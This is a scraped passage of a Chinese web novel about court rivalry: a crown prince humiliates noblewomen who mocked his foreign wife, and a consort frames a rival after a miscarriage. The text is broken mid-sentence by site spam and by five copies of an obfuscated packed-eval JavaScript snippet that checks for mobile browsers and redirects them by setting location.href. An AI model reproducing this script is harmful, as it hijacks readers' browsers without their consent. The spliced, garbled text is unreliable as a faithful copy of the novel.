“的确是有这个可能不过你与秦王的婚事虽然高家和你姑母有过这方面的想法可是因为你一直不愿意这事也没有提及她又是怎么知道的?” “另外晚宁这件事情我们不能看表面你今日穿的是太子妃的披风有没有可能她要拉下水的人是太子妃?” 宴会厅里。 夫人小姐们喝着茶神色各异有的人小声的议论着。 “这镇国公府办了这么多年的春日宴没想到今日居然出了这么大的事情那可是锦侧妃听说秦王很喜欢她的而且皇上好不容易有了当皇祖父的机会现在这个孩子没了只怕是……………” “可不是嘛说来也是奇怪了这高小姐与秦王也是表亲怎么会与锦侧妃一起掉进水里?” 旁边另外一个夫人也接话道。 “这奇怪的地方可多锦侧妃身边的丫鬟喊了半天的太子妃害了她家侧妃可是与锦侧妃一起落水的却是高家小姐。” “看来这件事里面不简单啊!” 李清舒虽然也听到了这些议论的话端着茶杯的手紧了紧。 与李清舒交好的小姐开口。 “要我说这都怪那个什么凰仪公主毕竟锦侧妃身边的丫鬟一直都喊着是太子妃要害他们侧妃。” “而且镇国公府办了这么多年的春日宴也就是凰仪公主来参加宴会了才发生这样不好的事情。” 另外一个千金也开口。 “就是清舒这个凰仪公主就是一个扫把星她没有来的时候我们大家都好好的她这一来天元就害得太子殿下受罚现在又害得锦侧妃与高小姐在国公府出事这种人就不应该留在天元。” 李清舒闻言眼里闪过一抹得逞沈安若你就应该被所有人都厌弃。 “唉她是南诏的和亲公主 “我倒是没什么只要表哥好我什么都愿意可表哥现在有一个异国公主当妻子唉……………” 储君的太子妃怎么能是一个异国公主?众人对沈安若更加不喜了。 其中一个与李清舒最交好的人更是开口。 你的朋友正在书荒,快去帮帮他吧 “她这是在鸠占鹊巢明明你与太子殿下才是一对清舒你别怕她 沈安若可是有武功在身的这些日子一直都有在勤加练习上辈子的武功基本上回来了一半了一走到门口那些人的议论声准确的传入自己的耳朵里。 果然走到哪里都躲不掉的宅斗啊沈安若无奈地露出一抹笑意。 “诸位这是在聊什么呢?” 虽然有很多人不喜欢沈安若可是她的身份到底摆在那里众人都急忙起身。 “见过太子妃。” 沈安若走到相应的位置坐下。 “诸位不必多礼。” 沈安若姿态优雅地端起茶杯轻轻抿了一口茶目光缓缓扫过众人嘴角噙着一抹似有似无的笑意开口道。 “方才本宫在外头就听见这屋内热闹得很怎么本宫一进来诸位都不说话了?是有什么本宫听不得的吗?” 众人面面相觑一时无人敢应声。 李清舒心中虽对沈安若满是不屑与怨恨但此刻也不得不强压下情绪挤出一抹笑容道。 “太子妃说笑了不过是些家长里短的闲话罢了哪有什么太子妃不能听的。” 沈安若闻言看了一眼李清舒。 “既然如此那不如说一说刚刚你们在聊什么?鸠占鹊巢又是什么意思?” 李清舒正要准备说什么。 她的手帕之交已经拉扯了一下她的衣服这是御史大夫的嫡女花想容。 “既然太子妃想听那臣女就给太子妃解释一下鸠占鹊巢讲述的是一个故事鸠鸟凭借自身力量霸占了喜鹊辛苦搭建的巢穴以此比喻那些不劳而获、强行占据他人成果之人。大家方才不过是借着这故事感慨一些世间不平之事罢了。” 果然内宅的女子没有一个简单的都是懂得什么叫做含沙射影的沈安若轻轻放下茶杯嘴角上扬露出一抹意味深长的笑容。 “哦?这世间不平之事众多不知各位今日感慨的是哪一件?不过本宫倒是好奇这鸠占鹊巢的故事用在当下情境究竟是何人占了何人的巢?” 目光看向花想容。 “花小姐你是夫君被妾室抢了吗?” 花想容脸色一阵难看。 李清舒急忙开口。 “太子妃花小姐还没有成亲…………” 沈安若似笑非笑的看着李清舒。 “没有成亲吗?那是看上 你的朋友正在书荒,快去帮帮他吧 哪家前途不错的有妇之夫了,准备将鸠占鹊巢这几个字落实吗?” 自己的父亲是御史大夫监管百官,这些年,皇城的小姐看了自己都是客客气气,何曾受过这样的**?花想容气呼呼的开口。 “我花想容乃是花家嫡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187519|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女,还用不着抢别人的夫君。” “比不得凰仪公主明知太子殿下与清舒青梅竹马,横插一脚还…………” 她身边的另一个女子急忙拉住她。 “想容,别说了。” 然后朝沈安若福身。 “想容性子耿直,说话也直了一些,还请太子妃不要计较。” 另外一个女子也起身福身开口。 “臣女也替想容给太子妃赔罪,我们这么多年看着清舒与太子殿下的情谊,因为和亲的时候不得不有情之人两分离,多少我们心里都有一些遗憾,所以口不择言了。” 沈安若听得身子往后靠了靠,脸上露出嘲讽的笑意。 “几位还真是姐妹情深啊,这么多夫人长辈都在呢,未出阁的女子就这般议论男女之事,还对储君的婚事指手画脚,你们这些名门贵女就是如此尊卑不分的吗?” 对储君的婚事指手画脚,这是哪里来的胆子?坐在不远处的御史夫人急忙站了起来朝沈安若跪下。 “太子妃娘娘误会了,不过就是她们姐妹之间说一些贴己话罢了,我们对太子殿下并无冒犯之意,还望太子妃明鉴。” 沈安若目光落在御史夫人的脸上,目光似乎要穿透人心,笑着开口。 “你们对太子自然是没有冒犯之意的,只不过是想冒犯本宫这个太子妃罢了。” 见自己的母亲一直跪着,花想容急忙开口。 “我们不过是实话实说而已,凰仪公主都抢了清舒的太子妃之位,还怕别人说吗?” “原本我们清舒大度,也不想与你计较,可是你居然故意在清舒的面前秀恩爱,刺激清舒伤心,凰仪公主,做人还是要一点脸面,本来就是你抢了清舒的太子妃之位…………” 忽然一道声音传来。 “谁抢了太子妃之位?” 只见商玄澈龙行虎步的走进来。 储君的气势威严尽现。 众人急忙起身行礼。 “见过太子殿下。” 沈安若也跟着站起来准备行礼。 商玄澈却先一步开口。 “若若,你不用行礼。” 说着上前伸手握住沈安若的手,带着她朝主位走去,扶她坐在主位啊。 自己才在一旁坐下,抬手亲自给沈安若倒了一杯茶。 这才看着福身行礼的众人。 “说啊,谁抢了太子妃之位?” 作者有话说:写的时候我的脑子里已经有了画面感,还是咱们玄澈懂什么叫做给自己的妻子撑腰,来,给玄澈上票票 第一百二十章 处罚 众人面面相觑,大气都不敢出,纷纷低垂着头,不敢与商玄澈对视。 花想容更是脸色煞白,身体微微颤抖,怎么也没想到太子殿下会在这个时候突然出现。 见众人都不说话,商玄澈厉声呵斥。 “说啊。” 平时商玄澈与自己在一起都是轻言细语,这猛然这么吼一声,沈安若抬头惊讶的看了他一眼,这么吓人做什么? 父亲不是已经与表哥谈过了吗?为什么表哥还是如此护着那个**说两句都不行?李清舒心中又急又恨,却不得不强装镇定,她微微福身,轻声说道。 “表哥,不过是姐妹间几句玩笑话,并无当真之事,还望殿下莫要怪罪。” 商玄澈冷哼一声,目光如炬地扫视着众人。“玩笑话?本宫与太子妃的婚事乃是圣旨赐婚,你们却在这里议论太子妃是抢来的位置,你们是在质疑圣旨吗?” 质疑圣旨,这是活的不耐烦了吗?众人急忙跪下行礼。 “臣妇(臣女)不敢。” 商玄澈目光犀利的扫视着众人。 “本宫听闻你们一直对太子妃很是不满,私底下搬弄是非嚼舌根颇多,正好,今日本宫在这里,不如将你们的不满说出来,若是你们说的属实,本宫就好好教一教太子妃规矩,若是不是……………” 说着商玄澈身上的气势又冷了几分,众人吓得瑟瑟发抖。 到底李家是最支持他的人,若是真的闹大了,怕是会引来一些麻烦,沈安若见状伸手扯了扯他的衣袖。 “玄澈,这是在国公府。” 商玄澈偏头看着她,给她一个安心的眼神。 “无妨。” “既然她们送上门来,今日本宫就当陪你解解闷。” 随即目光看向花想容。 “你叫什么名字?” 商玄澈可是多次上过战场的常胜将军,说是战神也不足为过,听说他在战场上的时候,可是**不眨眼的,花想容害怕的有些发抖,结结巴巴的开口。 “回………殿下的话,臣…………臣女花想容………御史家…………” 商玄澈还不等她话说完,已经不耐烦的开口声音带着几分冰冷。 “原来是御史家的,你的父亲在朝堂上的时候可谓是口若悬河,怎么会有一个结巴的女儿?连句话都说不清楚,还整日里搬弄是非,既然这舌头如此无用,不如割了…………” 御史夫人急忙磕头。 “太子殿下恕罪,求太子殿下恕罪,是臣妇教女 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 无方,臣妇回去一定会好好的教导!” 商玄澈只是冷冷的看了一眼御史夫人,随即目光看着另外一个千金。 “你呢…………” 刚刚参与诋毁沈安若的千金颤颤抖抖的开口。 “臣女户部侍郎家…………” 商玄澈沉声开口。 “户部侍郎家的,今年户部的开支有些对不上,也难怪,这户部侍郎连女儿都教养的是非不分,又怎么能处理好公务?” 要是因为自己的一时口快,影响了父亲的仕途,只怕回去了父亲要打死自己的,少女急忙磕头。 “求………太子殿下恕罪,臣女再也不敢了。” 一边说一边重重的磕头,额头都磕红了。 跪在她旁边的夫人也跟着磕头。 “求太子殿下恕罪,臣妇…………” 商玄澈目光已经看向另外一个千金。 “你……………” 另外一个千金急得都快哭出来了。 “臣女钦天监之女……………” 商玄澈冷冷的看着他她。 “你父亲能掐会算,就没有算出来自己会生出一个招惹是非的女儿吗?” 少女急忙磕头。 “臣女知错,求殿下恕罪。” 商玄澈缓缓站起身子,朝前走了几步,一身的储君气势,让众人匍匐在地,瑟瑟发抖。 “刚刚你们几个不是叫嚣的最厉害?” “现在在慌什么?” 几人急忙磕头。 “求殿下恕罪,求殿下饶命。” 商玄澈的目光缓缓从她们身上扫过。 “胡编乱造,造谣生事,本宫看,就该将你们都拖入大牢,割掉舌头…………” 花想容几人急忙求助的看着李清舒。 “清舒,清舒你救救我们。” “我们也都是为了你啊,清舒。” “你不能见死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187520|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不救啊。” 那些话表哥虽然是对着花想容几人说道,又何尝不是在打自己的脸?若是帮自己说话的人今日都被处罚,那自己以后在皇城又如何立足?李清舒起身道。 “表哥,不过是…………” 商玄澈看着李清舒目光一冷,李清舒还没说出口的话又咽了回去。 商玄澈又看了看花想容几人。 “本宫很忙,但是要查一查都有谁搬弄是非还是一件很简单的事情,你们自己说过什么做过什么,你们心里都清楚。” “一人掌嘴二十, 你的朋友正在书荒,快去帮帮他吧 自己动手吧。” 几人闻言急忙求饶。 “太子殿下…………” 商玄澈眼里带着冷冽。 “若是本宫的人动手,就不是二十耳光这么简单了。” 几人面如死灰,或许是深知今日无法逃脱惩处,只能颤抖着抬起手,朝着自己脸颊狠狠扇去。 清脆的巴掌声在寂静的国公府厅堂中此起彼伏,每一声都仿佛重重敲在众人心头。 花想容一边抽打着自己,一边泪水在眼眶中打转,心中满是懊悔与恐惧。 怎么也没想到,今日不过是随口附和了几句李清舒对沈安若的诋毁,竟会惹来如此大的灾祸,太子殿下真的不娶清舒吗? 御史夫人跪在一旁,心疼得直落泪,却也不敢出声求情,生怕再惹怒太子殿给御史带来更严重的后果。 户部侍郎家的千金额头磕得红肿,此刻手掌扇在脸上,更是疼得龇牙咧嘴,却又不敢停下。 户部侍郎夫人紧紧攥着衣角,心中暗自埋怨女儿的莽撞,同时也对李清舒心生不满,若不是她挑起事端,女儿又怎会陷入这般难堪的境地。 商玄澈朝沈安若伸手。 沈安若将手递在他的手里,站起了身子。 商玄澈牵着她往前走了几步。 “本宫只说一遍,沈安若是本宫千辛万苦从南诏求来的太子妃,若是有人敢对她不敬,就是对本宫不敬,对本宫不敬的都**,你们想要对她不敬,大可试试。” 作者有话说:都说女人在婆家的地位取决于男人的态度,咱们澈澈还是懂给自己妻子撑脸面的,宝子们上好五星书评支持一波 第一百二十一 颠倒黑白 沈安若抬眼看向商玄澈,只见他侧脸冷峻,眼神中透着不容置疑的威严。 却又在回头与自己对视的时候不经意间流露出对她的一丝温柔。 这一刻,沈安若的心像是被什么轻轻触动了一下,他真的如同在南诏那般承诺的那样,站在自己的身边护着自己。 李清舒站在原地,脸色一阵红一阵白,指甲深深嵌入掌心,却浑然不觉疼痛。 满心的不甘与怨恨如汹涌的潮水般翻腾,这些为她出头的千金们遭受如此重罚,往后只怕是无人再帮衬自己了。 自己无论如何都想不明白,为何表哥会如此维护沈安若。 明明是自己与表哥从小一起长大,有着那么多美好的回忆,可如今,一切都变了。 都怪沈安若这个**。 可是不论她如何不甘心,也只能看着商玄澈一脸温柔的牵着沈安若离开。 国公府夫人的院子。 镇国公此时听完国公夫人讲完了今日发生的事情,一脸的皱眉。 “锦侧妃居然国公府出事了,只怕秦王**要趁机生事了。” 国公夫人开口道。 “老爷,这与锦侧妃一起落水的是高家小姐,此时我们要想没有牵扯倒是也不难,只是等一下秦王来了咱们还得小心应对。” 镇国公听了点了点头。 “陛下对锦侧妃的孩子很看重,按照秦王的性子,只怕是要进宫告状了。” 国公夫人听了发愁的开口。 “陛下不会轻易处罚李家,毕竟他怕别人说他寒了忠臣的心,怕的是陛下又要拿太子撒气了,这么多年,他只要恼了国公府,就会拿孝字来压太子。” 提起太子,想到在书房里谈话,太子坚决的语气,镇国公脸色又沉了几分。 “太子长大了,已经不是当年求着国公府庇护的皇子了,他与陛下的事情也轮不到我们操心了。” 要知道国公一直以来最是心疼太子的,甚至在太子身上花的心思比国公府的孩子还多,国公夫人心里咯噔一下。 “老爷这是与太子没有谈妥?” 镇国公喝一口茶。 “既然太子这么想清舒嫁人,你过几日便给清舒相看人家吧。” 国公夫人听了急忙开口。 “老爷,这怎么行?整个皇城都知道的,清舒嫁给太子那是迟早的事情,现在要是跟她谈论亲事,又有多少人敢娶?” 镇国公沉思片刻。 “那就寻找远一些的!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 国公夫人神色担忧。 “老爷,清舒是咱们国公府最优秀的姑娘,若是当真嫁出去了,以后就与太子府没有可能了,这两家的关系…………皇后可是答应过的,下一任皇后是咱们清舒。 听着国公夫人的话,镇国公只觉得头疼,抬手揉了揉自己的太阳穴。 “你也说了,那是皇后答应的,又不是太子答应的,给清舒寻找一门合适的亲事吧,太子对清舒无意,我也怕清舒以后走皇后的路,这些年,要不是李家一直护着,皇后只怕早就被陛下废了。 国公夫人听得心里一疼。 “我自己的女儿什么性子我知道的,这些年,她一直盼着嫁给太子,如今,要让她另嫁他人,她的心里得多难受! 夫妻二人正在说着,门外的丫鬟走进来。 “老爷,夫人,秦王来了。 二人闻言急忙朝外走。 清舒的婚事以后慢慢谈,今日重要的还是要应付秦王。 沈安锦此时喝了药已经醒来了,看着秦王进来房间,眼泪立即就掉了下来。 “殿下! 秦王走到她的身边坐下,伸手握住她的手。 “锦儿,怎么回事?你怎么会落水?我们的孩子怎么样? 沈安锦一下子扑进秦王的怀里,痛声大哭。 “殿下,我们的孩子…………我们的孩子没了! “是锦儿不好,锦儿就不应该来参加什么宴会的,锦儿只是一个人在府中待久了,心情郁结,殿下你又公务繁忙,锦儿不想打扰殿下,就想着来与姐姐说一说话,没想到这一来,我们的孩子就没有了。 秦王听得眼里燃烧起一股怒火。 “锦儿,你别哭,告诉本王是谁,害了我们的孩子,本王一定给我们的孩子讨一个公道。 沈安若当时根本就不在场,这件事情是没办法扯在她的身上,可是自己更不能让秦王发现是自己跳进去的水里,高晚宁,只能委屈你了,不过也是你活该,好好的你为什么要跟沈安若换披风。 “是………是高小姐………… 秦王听得微微皱眉,眼里面带着疑惑。 “怎么会是晚宁? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187521|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚宁的性子………… 沈安锦又哭了。 “殿下这是不相信锦儿吗? “锦儿在这天元无依无靠的,唯一能够依靠的人就只有殿下,若是连殿下都不相信锦儿了,锦儿还不如随着孩子去了算了,黄泉路上,锦儿也能照顾我们的孩子。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一边说着,一边虚弱的挣扎着滚下床。 “我这就一头撞死算了…………” 秦王一把将她拉住,紧紧的把她抱进怀里,满眼的心疼。 “锦儿,你这是做什么?本王自然是信你的。” “只是本王不明白,晚宁她为什么要害你和孩子?” 此时高夫人扶着高晚宁进来,冷声开口。 “我也想知道,锦侧妃为什么要诬陷我的女儿。” 然后看着沈安锦。 “锦侧妃,你与晚宁并无过节,你为何要诬陷于她?挑拨秦王府与高家的关系对你有什么好处?” 沈安锦靠在秦王的怀里,柔弱无助地看向高夫人和高晚宁,泪眼婆娑。 “自然是因为高小姐嫉妒我成为侧妃,得了王爷疼爱。” 高晚宁只感觉两眼一黑,自己也是见过后宅争宠手段的人,但是这般不要脸,颠倒黑白的还真是第一次见。 “你胡说,沈安锦,我根本就没有害你的孩子,是你莫名其妙的忽然拽着我掉进了池塘里,你害我生病还要诬陷我,你好歹毒的心思。” 沈安锦紧紧的捏住自己的手帕,靠在秦王的怀里,抬头看着秦王,满眼都是委屈。 “王爷,锦儿知道这个孩子对自己有多重要,我身上的尊荣全都依仗这个孩子和王爷的宠爱,锦儿怎么可能会拿自己的孩子冒险?” “今日我不过是说起王爷对这个孩子很重视,高小姐就说什么锦儿一个孤女,根本就不配生下王爷的长子,还诅咒锦儿和王爷的孩子会胎死腹中,锦儿一气之下就与她起了争执,推搡之中我就掉进了水里,当时我就下意识抓住了她的手求救,没想到会把她也拉下了水。” 高晚宁真的是直接被气哭了。 “母亲,她这是冤枉我,女儿今日一句话都没有与她说,更不可能起争执。” 高夫人看着沈安锦,脸色带着几分阴沉。 “锦侧妃今日想拉下水的人是太子妃吧?” 第一百二十章 被拆穿 她怎么会知道?沈安锦心里一慌。 “怎么可能?我与太子妃乃是姐妹我拉她下水做什么?高夫人你不能为了给自己的女儿脱罪就在这里混淆视听。” 高夫人听了缓缓开口。 “姐妹?人家认你这个姐姐吗?” 高夫人的话直接戳中了沈安锦的心窝子她捏紧了手帕眼神里透出一丝被揭穿的恼羞成怒很快换上更委屈的表情。 “高夫人我知道高小姐不喜欢我你便也看我不顺眼可我与太子妃的感情如何 秦王见状眉头紧锁明显不快。 “高夫人此事本王会查清楚。但现在本王更关心的是锦儿的身子。她刚失去了孩子需要静养不宜再受刺激。” 高晚宁气得浑身发抖。 “表哥你不要被这个女人骗了我若是真的想进秦王哪里还有她的什么事?她就是害人害己还想将责任推到我的头。” 沈安锦见状急忙开口。 “你现在还不愿意进秦王府那是因为王爷已经有了正妃了你想等着以后直接当王妃甚至太子妃乃至皇后所以才故意将自己的婚事拖了又拖不然为何这个年龄了你还不嫁人?” 这个女人还真是胡搅蛮缠高晚宁怒斥道。 “你少在这里疯言疯语我嫁不嫁人还轮不到你来说话。” 目光看向秦王。 “表哥我心里的确有人但是………” 沈安锦看着秦王手抓住他的衣服。 “殿下你看她都自己承认心里有你了锦儿没想到一个人的嫉妒之心会如此可怕居然会害一个没有出生的孩子殿下锦儿只有你你一定要为我们的孩子做主啊。” 高晚宁气得心口起伏冲过去就要撕她。 “啊你这个**…………” 秦王见状下意识的抬手推了高晚宁一把。 “够了晚宁你闹够了没有?锦儿现在的身体受不得刺激你少说两句吧!” 高晚宁本就因为露了水现在身子正虚弱这一推整个人一下子摔到地上。 高夫人急忙一脸心疼的扶起她。 “晚宁。” 高晚宁气得脸色铁青怒视着秦王。 “表哥你推我?” “她这明明就是诬陷给我泼脏水表哥你不主持公道你还推我?” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 秦王看着高晚宁这般泼妇的模样,眉眼间透露出不耐烦。 “够了,锦儿她还能拿自己的孩子来冤枉你不成?晚宁,你以前明明是一个懂事乖巧的姑娘,怎么现在因为嫉妒做出来如此恶毒的事,你若是真的想进秦王府,直接跟母妃说,秦王府给高家下聘就是了,何必害了本王的孩子? 高晚宁是的心口起伏,还真是懂了什么叫做百口莫辩,伸手颤颤抖抖的指着沈安锦。 “你…………你…………… 气得一口鲜血吐了出来。 高夫人扶着她一声担忧的惊呼。 “晚宁! 在门外偷听了好一会的镇国公和国公夫人相识了一眼。 这才急忙走进来。 “呀,这是怎么了? “高小姐怎么还吐血了? “来人,快请大夫。 国公夫人一边说着一边担忧的帮衬着高夫人扶着高晚宁。 “高夫人,咱们还是先把高小姐送到隔壁休息吧,这件事是在国公府闹出来的,今日我肯定给大家一个交代。 镇国公朝秦王拱手。 “见过秦王殿下。 秦王并未叫他起身,而是开口质问道。 “镇国公,你来的正好。 “刚好跟本王说一说,为什么本王的侧妃好好的来参加你国公府的春日宴却落了水没有了孩子? 镇国公闻言继续拱手道。 “王爷别急,国公府会给王爷一个交代的。 秦王听了冷哼一声。 “哼。 “交代? “这是本王的长子,镇国公打算拿什么交代? “春日宴各功夫已办了好些年了,唯独今年忽然就提前了一月有余,莫不是本就冲本王的孩子来的,毕竟这天底下哪有这么巧的事情,你国公府的宴会就让本王的侧妃失去了孩子。 这个秦王还真是但凡有一点机会,就要给国公府泼脏水,镇国公咬了咬牙继续拱手。 “殿下还是先听一听事情的真相再给国公府定罪吧。 国公夫人此时与高夫人一起走进来,身后还跟着丫鬟婆子。 高夫人看着沈安锦,一脸的阴沉,果然是上不得台面的东西。 镇国夫人朝秦王福了福身开口道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187522|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秦王殿下,今日是镇国公的春日宴,因为这春日宴已经办了多年,为了防止一些万一,所以国公府都会在水边,假山边这些危险的地方安排人盯着,在池边不 你的朋友正在书荒,快去帮帮他吧 远处的丫鬟就在这里,说起来不论是锦侧妃还是高小姐,都是殿下你的自家人,现在就来一起听一听高小姐与锦侧妃到底发生了什么吧!” 沈安锦心里一慌,怎么会有丫鬟看见着?明明自己观察个四下无人的。 一个青绿色袄子的丫鬟立即山前跪下。 “奴婢见过秦王殿下。” “水池的旁边是奴婢负责的,奴婢远远的看到,高小姐与太子妃站在桥上说话,很快太子妃边离开了,还找了一个小丫鬟带路,高小姐站在桥上欣赏园子里的桃花,是锦侧妃走上了桥,拽着高小姐跳下去…………” 沈安锦着急的开口。 “你在胡说,你这丫鬟一定是被人买通了来陷害我。” 又拉着秦王梨花带雨的开口。 “殿下,你要相信我啊殿下,这是有人看我无依无靠不过就是一个孤女买通了丫鬟诬陷于我,这可是我好不容易才盼来的孩子,我怎么舍得伤他分毫?” “殿下,如果连你也不相信锦儿的话,锦儿以后又如何活得下去?” 听着沈安锦一句又一句的哭诉,秦王只感觉心口传来一阵绞痛,急忙安抚沈安锦。 “锦儿你别哭,本王相信你便是。” 高夫人想到刚刚被气吐血的高晚宁,一脸的怒意。 “殿下你相信她?真相已经摆在了眼前,这明显就是她害了晚宁还在装可怜……………” 秦王眉头紧皱。 “好了,高夫人,锦儿失去了孩子已经够难过了。” 目光看向镇国公。 “镇国公,秦王府长子就在你这国公府没有了,镇国公不准备给本王一个交代,给陛下一个交代吗?” 还真是厚颜无耻,真当国公府是软柿子了,镇国公拱手道。 “秦王殿下,落水这件事情牵扯的是高小姐与锦侧妃,不论真相是高小姐推了锦侧妃,还是锦侧妃因为争风吃醋想要陷害高小姐,这说起来都算是殿下里的家事,臣身为朝中官员,只能克己本分为国分忧,还没有资格插手殿下的家事。” 第一百二十三章 立场不同经历相似 国公夫人也上前福身道。 “殿下锦侧妃这是小产女人小产也是要做小月子的 秦王听得脸色更是阴沉了下来言下之意这件事情与国公府无关国公府让自己回家处理。 “堂堂镇国公府居然赶起本王来了今日的事情本王记下了。” 随即起身弯腰去抱沈安锦。 “锦儿本王带你回府。” 终于要走了镇国公拱手道。 “臣恭送殿下。” 见秦王就这么抱着沈安锦走了高夫人捏了捏自己的手里的手帕起得牙齿都咬紧了自从当上丞相夫人以后自己还从未如此憋屈过秦王与高家原本是荣辱共存如今居然为一个外来的孤女如此打高家的脸。 国公夫人见状朝高夫人开口道。 “高夫人不如让丫鬟守着高小姐到我院子里吃一些饭菜吧前院也发生了一些事情今年的春日宴也就这么散了。” 一想到秦王居然在李家人面前不顾及自己半点颜面高夫人的心里更难受了。 “不打搅了我现带晚宁回府。” 国公夫人闻言微微点头。 “都是为人母亲的我理解高夫人的感受。” 然后吩咐道! “来人去库房里面取新的被子过来给高夫人的马车里垫上软和的被子再准备两个热乎乎的汤婆子给高小姐。” 难怪国公府能够办这么多年的春日宴不得不说国公夫人做事很是周到哪怕与高家政事上对敌对这么多年她都能这个时候想着晚宁的身体。 “多谢国公夫人改日再登门道谢。” 高夫人说完朝门外走去店里心里惦记着晚宁醒来没有。 国公夫人与镇国公相视一眼然后跟上去。 “高夫人高小姐年龄小又还未定亲今日在这么冰冷的水里挣扎了那么久也不知道什么时候才能将身子养好我的库房里还有一只千年人参那是属于我的陪嫁如果高夫人不嫌弃的话我这就让人取来给高小姐补身子。” 高夫人闻言看了国公夫人一眼神情有一些复杂。 “多谢夫人好意了可既然是夫人的陪嫁之物我们又怎么好意思拿这千年人参可是好东西夫人还是留着吧 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 至于给晚宁补身子我手里有补品的。” 国公夫人陪着高夫人慢慢走着去客房语气里面带着几分感叹。 “唉都同样是当母亲的我都不敢想今日若是我的清舒被人拉入水里我会有多心疼。” 二人走进了屋里高晚宁此时还躺在床上昏迷不醒脸色带着苍白。 丫鬟素素急忙行礼。 “夫人。” 高夫人看着高晚宁又是一阵心疼。 “国公夫人劳烦你安排两个嬷嬷与我嬷嬷一起送晚宁上一下马车。” 国公夫人看了看高晚宁急忙开口。 “周嬷嬷快喊两个身强力壮的婆子来帮忙。” 很快高晚宁被裹着被子抬出国公府。 国公夫人跟在高夫人的身边。 压低了声音开口。 “高夫人虽然你我的夫君在朝堂上立场不同可咱们都是当母亲的今日说一句越界的话虽然说两家关系联姻就是最好的维持方法可是咱们当母亲的总要为女儿多考虑一些男人的眼里都是大局咱们…………” “今日我留意到秦王殿下对锦侧妃那是真的含在嘴里怕化了捧在手心怕摔了女子一旦嫁人就围绕着夫君转若是夫君心里满是别的女人这往后几十年的日子可不好过啊。” 这其中的话自己又何尝听不明白高夫人看了看镇国公夫人。 “多谢夫人的提醒。” “只是这别人的事情夫人都看得如此透彻这到自己的女儿身上……………” 说起来两家敌对这么多年偏偏遭遇都是一样的国公夫人无奈的苦笑一下。 “今日过后 高夫人听得眼里露出震惊。 “你们要放弃与太子府………………” 国公夫人开口道。 “本就是没有的事情不过是清舒这孩子孝顺往日喜欢去陪伴她的姑母罢了。” 看来国公府与太子府之间也是有嫌隙了高夫人也无奈的笑了笑。 “国公夫人咱们两家从某些程度上来讲还真是相似。” 此时几人已经走出了府邸高家的马车里已经铺好了软和的被子。 高晚宁宁被婆子抱上了马车高夫人再次给国公夫人道谢以后才上马车。 看着高家的马车离开国公夫人若有所思今年的春日宴虽然出了乱子可以看看清楚了太子对清舒的态度 你的朋友正在书荒,快去帮帮他吧 高家与秦王府也有了嫌隙,某方面来说又何尝不是好事。 周嬷嬷在一旁提醒道。 “夫人,可要去看看小姐。” “这太子殿下当众处理了与小姐交好的人,小姐只怕是正伤心。” 国公夫人闻言转身朝府李走去,眼里透露着几分疲惫。 “走吧,去看看清舒。” 李清舒在房间里趴在桌子上眼泪不停的滚落,一想到那些大家闺秀离开时看自己的目光就觉得脸上火辣辣的难堪。 梨花在一旁小声的安抚。 “小姐,你别哭了,老爷和夫人一直都很疼爱小姐,一定会给小姐做主的。” 李清舒听了哭的更厉害了。 “能怎么做主?” “这场宴会,本就是因为沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 